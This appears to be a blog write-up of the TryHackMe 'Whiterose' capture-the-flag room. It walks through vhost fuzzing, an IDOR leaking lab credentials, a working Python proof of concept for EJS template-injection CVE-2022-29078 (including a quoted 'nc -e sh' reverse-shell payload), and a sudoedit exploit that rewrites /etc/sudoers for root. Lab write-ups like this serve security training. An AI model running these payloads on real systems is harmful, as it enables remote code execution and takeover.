Whiterose

Yet another Mr. Robot themed challenge.

Whiterose

Introduction

Hello everyone, today we will be taking a look at Whiterose, an Easy rated room on TryHackMe. We will explore the exploitation of a vulnerable Express.js webapp through IDOR and SSTI, before moving on to the privilege escalation phase. Let’s get started !

  1. Enumeration
  2. Exploitation
  3. Privesc


Enum

Portscan

Let’s start with a basic portscan. I like to go with rustscan cause it’s quite fast. As always, I go with service version enumeration and output normal options:

1
rustscan -a $TARGET -- -sV -oN all_ports.txt
1
2
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)

What do we learn from this portscan ?

  • The target is likely running linux
  • SSH and HTTP are running

HTTP (80)

Usually, SSH isn’t a primary target in CTFs, unlike HTTP, so let’s start with that.

index It’s trying to redirect us to a domain.

I added this domain to my /etc/hosts file with this bash one-liner:

1
sudo bash -c 'echo "10.10.181.178 cyprusbank.thm" >> /etc/hosts'

index Accessing the index page of the new domain.

But still nothing interesting.

Directory Fuzzing

I thought maybe trying some directory fuzzing could be a good idea. You can use whatever tool you like (gobuster, dirbuster, dirb…). I’ll go with ffuf:

1
2
3
ffuf -u "http://cyprusbank.thm/FUZZ" -w /usr/share/wordlists/common.txt

index.html              [Status: 200, Size: 252, Words: 19, Lines: 9, Duration: 368ms]
1
2
3
ffuf -u "http://cyprusbank.thm/FUZZ" -w /usr/share/wordlists/big.txt

// nothing found

I tried the common.txt and big.txt wordlists from dirb, but I still didn’t find anything.

Virtual Host fuzzing

Since we have a domain name, trying virtual host fuzzing might be a good idea. I’ll go with wfuzz but you can use ffuf or gobuster as mentioned in the article.

1
2
wfuzz -u cyprusbank.thm -H "Host: FUZZ.cyprusbank.thm" \
      -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt

index Getting the number of words in the response.

As you may have noticed, wfuzz shows a different number of words in the response depending on whether the tested domain is an existing virtual host or not. Since we know that a non-existent subdomain returns 3 words, we can ask wfuzz to hide all the responses that contain 3 words

1
2
3
wfuzz -u cyprusbank.thm -H "Host: FUZZ.cyprusbank.thm" \
      -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
      --hw 3 

index Hiding responses that contains 3 words.

Admin Subdomain

Okay, so wfuzz found 1 new interesting subdomain (since www is usually not interesting). Let’s add it to our /etc/hosts file:

1
sudo bash -c 'echo "10.10.181.178 admin.cyprusbank.thm" >> /etc/hosts'

And access it from our browser:

index Finally !

User access

The challenge says

And oh! I almost forgot! - You will need these: Olivia Cortez:olivi8

These credentials are probably provided so we can log in here. After logging in as Olivia Cortez, we are greeted with this page:

index

After clicking around and exploring the website, I made this table:

Page name What does it do Potential vulnerabilities
/ Show recent payments N/A (static page)
/search Search for a bank account searchbar → XSS,SQLI,SSTI
/settings We don’t have permissions N/A
/messages/?c=INT Show/Send messages c=INT → IDOR, SQLI
    chat → SSTI,XSS,SQLi

Since we’re still in the enumeration phase let’s focus on testing the IDOR for now.

Here is the /message page:

index

The url carries a query parameter named c, with a default value of 5. Let’s test if it’s vulnerable to an IDOR by incrementing this number. I’ll set it to 1000:

index

1
Gayle Bev:p~]P@5!6;rs558:q

Admin access

After logging in with these credentials, I tried accessing the /settings page.

index

I attempted to change the password of some accounts, but it didn’t work. This probably means we HAVE to exploit this page (the authors wouldn’t have created/protected it with admin privilegess otherwise) but via other vectores.

index

I tried some XSS payloads, but they didn’t work. I also tried SQLmap to check for SQL injection but found nothing. I was quite certain it was an SSTI. So, I started looking around to try to identify the template engine.

index We know that the backend is written using Express.js

Identifying the template engine

After a quick googling search I found this on the Express.js documentation:

The Express application generator uses Pug as its default, but it also supports Handlebars, and EJS, among others.

That’s not really helpful … We need to know which template engine is used before exploiting it. So I thought: could we make it crash somehow ? Let’s try submitting the form at /settings without supplying any data (no name, no password).

1
2
3
curl -X POST http://admin.cyprusbank.thm/settings \
    --cookie "connect.sid=s%3AJMq02Cp0CBuP_l8pVqYiIbELNrOjtj_5.nIQtTw015tEtvp2t8PbD%2BDIU%2BQQjebdpolEfR6B7zwM" \
    -d ""
1
<div class="alert alert-info mb-3">Please enter a valid name</div>

There is probably an initial filter that says, “If there is no name, show this div and exit”. Therefore, we need to provide a name to bypass this first check:

1
2
3
curl -X POST http://admin.cyprusbank.thm/settings \
    --cookie "connect.sid=s%3AJMq02Cp0CBuP_l8pVqYiIbELNrOjtj_5.nIQtTw015tEtvp2t8PbD%2BDIU%2BQQjebdpolEfR6B7zwM" \
    -d "name=a" 

index I use the http command from httpie for the screenshot cause it has cool syntax highlighting that makes the output more readable

We know that it’s EJS, let’s try to find some CVEs !

Looking for vulnerabilities

I looked for EJS on cve.mitre.org and found a few interesting CVEs:

index EJS cve’s

CVE Type Link
CVE-2024-33883 Prototype pollution cve.org
CVE-2023-29827 SSTI cve.org
CVE-2022-29078 SSTI cve.org
CVE-2017-1000228 RCE cve.org

Exploitation

CVE-2024-33883

After searching a bit I found this poc that states:

Attack available condition

  1. Needs control of render().
  2. Needs control of prototype pollution attack vector.
    • Above two condition holds, RCE attack is available.

I don’t think we have control of a prototype pollution attack vector. It’s an easy room, searching for a prototype pollution in an easy room seems highly improbable. Let’s move on.

CVE-2023-29827

After searching for POCs on github I came across this repo, the author says that there is no POC for this CVE. Let’s move on.

CVE-2022-29078

On the CVE Program section of the CVE.org page, there is a link pointing to a blog post of the guy who found the CVE. I read it and thought let’s give it a try.

Writing a script

So I wrote a POC in python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from requests import Session
from sys import argv

def main(url="http://admin.cyprusbank.thm", 
         username="Gayle Bev", 
         password="p~]P@5!6;rs558:q"):

    session = Session()
    command = argv[1]

    # Login
    session.post(f"{url}/login", data={
        "username": username,
        "password": password,
    })

    # In this page: https://eslam.io/posts/ejs-server-side-template-injection-rce/
    # we see this payload: http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
    # It is used with the GET method. Let's adapt it for the POST method:

    # Sending the malicious post request
    print(session.post(f"{url}/settings", data={
        "name": "a", 
        "password": "a", 
        "settings[view options][outputFunctionName]": f"x;process.mainModule.require('child_process').execSync('{command}');s"
    }).text)


if __name__ == "__main__":
    if(len(argv) == 1):
        print(f"[!] Usage: {argv[0]} <COMMAND>")
        exit()
        
    main()

Getting RCE

First we need to validate that the running EJS version is affected by this CVE:

index Testing to send the output of ls through netcat

Cool ! We have an RCE, and we know that netcat is working. Let’s try to get a reverse shell with netcat then:

index And we have initial access

Privesc

I always start with manual privesc, then run automated scripts. I start with the basics, like sudo -l, searching for SUID binaries, and so on. You can find more in-depth manual privesc techniques for Linux here

sudo -l

index

Sudoedit

After some googling, I found an interesting exploit that affects sudoedit: index

Here is the interesting part of the poc (foundable here):

1
2
3
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
sudo su root

The script tries to identify which command we’re allowed to run with sudo privileges, then run vim -- /etc/sudoers the_extracted_command. I tried running the script, but it didn’t work … Let’s do it manually:

1
EDITOR="vim -- /etc/sudoers" sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm

And it worked ! It opened the sudoers file, which I edited as follows:

index Giving the web user permission to run bash as root.

index And we’re root !

This post is licensed under CC BY 4.0 by the author.